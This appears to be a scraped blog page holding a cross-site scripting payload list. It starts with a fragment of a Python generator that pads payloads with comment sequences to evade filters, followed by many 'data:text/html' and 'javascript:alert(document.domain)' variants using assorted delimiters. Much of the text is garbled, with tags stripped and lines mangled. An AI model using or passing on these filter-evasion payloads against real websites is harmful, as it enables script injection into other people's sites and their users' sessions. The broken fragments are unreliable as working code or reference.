(
"\"'>>javascript:-->", "
/>", "javascript: onclick=", ")
><",
"-->
",
"
-->",
"/
/*"
)
space_fillers = (
"`-->", "'/*/*/*", "*//>", "//-->//", "-->//'*/",
"/*``-->", '"-->//*/', "'String.fromCharCode(88,83,83)-->`/*"
)
tag_starters = (
"
"
]
script = " ".join(script)
for c in script:
if c == " " or c.isspace():
c = random.choice(space_fillers)
retval += c
"
data:text/html,
data:text/html,
data:text/html,
data:text/html,
data:text/html,
data:text/html,
data:text/html,
data:text/html,
data:text/html,
data:text/html,
data:text/html,
data:text/html,
data:text/html,
%3Cscript%3Ealert+%28charset%3D%22UTF-8%22%29%3B%3C%2Fscript%3E
data:text/html,
data:text/html,
data:text/html,
data:text/html,
data:text/html,
data:text/html,
data:text/html,
data:text/html,
data:text/html,_
data:text/html,
data:text/html,
data:text/html,
data:text/html,
javascript:alert(document.domain);endl/n\n
javascript:alert([document.domain]);endl/n\n
javascript:alert(
);endl/n\n
javascript:alert(|document.domain|);endl/n\n
javascript:alert({document.domain});endl/n\n
javascript:alert(\document.domain\);endl/n\n
javascript:alert(~document.domain~);endl/n\n
javascript:alert(+document.domain+);endl/n\n
javascript:alert(×document.domain×);endl/n\n
javascript:alert(=document.domain=);endl/n\n
javascript:alert(÷document.domain÷);endl/n\n
javascript:alert($document.domain$);endl/n\n
javascript:alert(*document.domain*);endl/n\n
javascript:alert(^document.domain^);endl/n\n
javascript:alert(document.domain());endl/n\n
javascript:alert(_document.domain_);endl/n\n
javascript:alert(-document.domain-);endl/n\n
javascript:alert(:document.domain:);endl/n\n
javascript:alert(;document.domain;);endl/n\n
javascript:alert("document.domain");endl/n\n
javascript:alert('document.domain');endl/n\n
javascript:alert(#document.domain#);endl/n\n
javascript:alert(@document.domain@);endl/n\n
javascript:alert(!document.domain!);endl/n\n
javascript:alert(%document.domain%);endl/n\n
javascript:alert(😂document.domain😃);endl/n\n
javascript:alert(سdocument.domainس);endl/n\n
window.performance&&window.performa
javascript:alert(nce.timing&&window.performance.getEntriesByType);endl/n\n
javascript:alert(getPrototypeOf);endl/n\n
javascript:alert(anonymous);endl/n\n
javascript:alert(window.XMLHttpRequest);endl/n\n
javascript:alert(if);endl/n\n
javascript:alert'(X-Framework-Xsrf-Token',endl/n\n token);endl/n\n
javascript:alert('POST', '/m/jsmissing',endl/n\n true /* async */);endl/n\n
javascript:alert('load', function();endl/n\n
javascript:alert(js, fjs);endl/n\n
javascript:alert(search.xml?);endl/n\n
javascript:alert(baseUrl);endl/n\n
javascript:alert(params);endl/n\n
javascript:alert(where=);endl/n\n
javascript:alert(uid);endl/n\n
javascript:alert(u_i_d);endl/n\n
javascript:alert(body_search_yes );endl/n\n
javascript:alert(input_disabled_yes );endl/n\n
javascript:alert(background:#fff);endl/n\n
javascript:alert(padding);endl/n\n
javascript:alert(xmlns);endl/n\n
javascript:alert(/>);endl/n\n
javascript:alert( 
Commentaires
Enregistrer un commentaire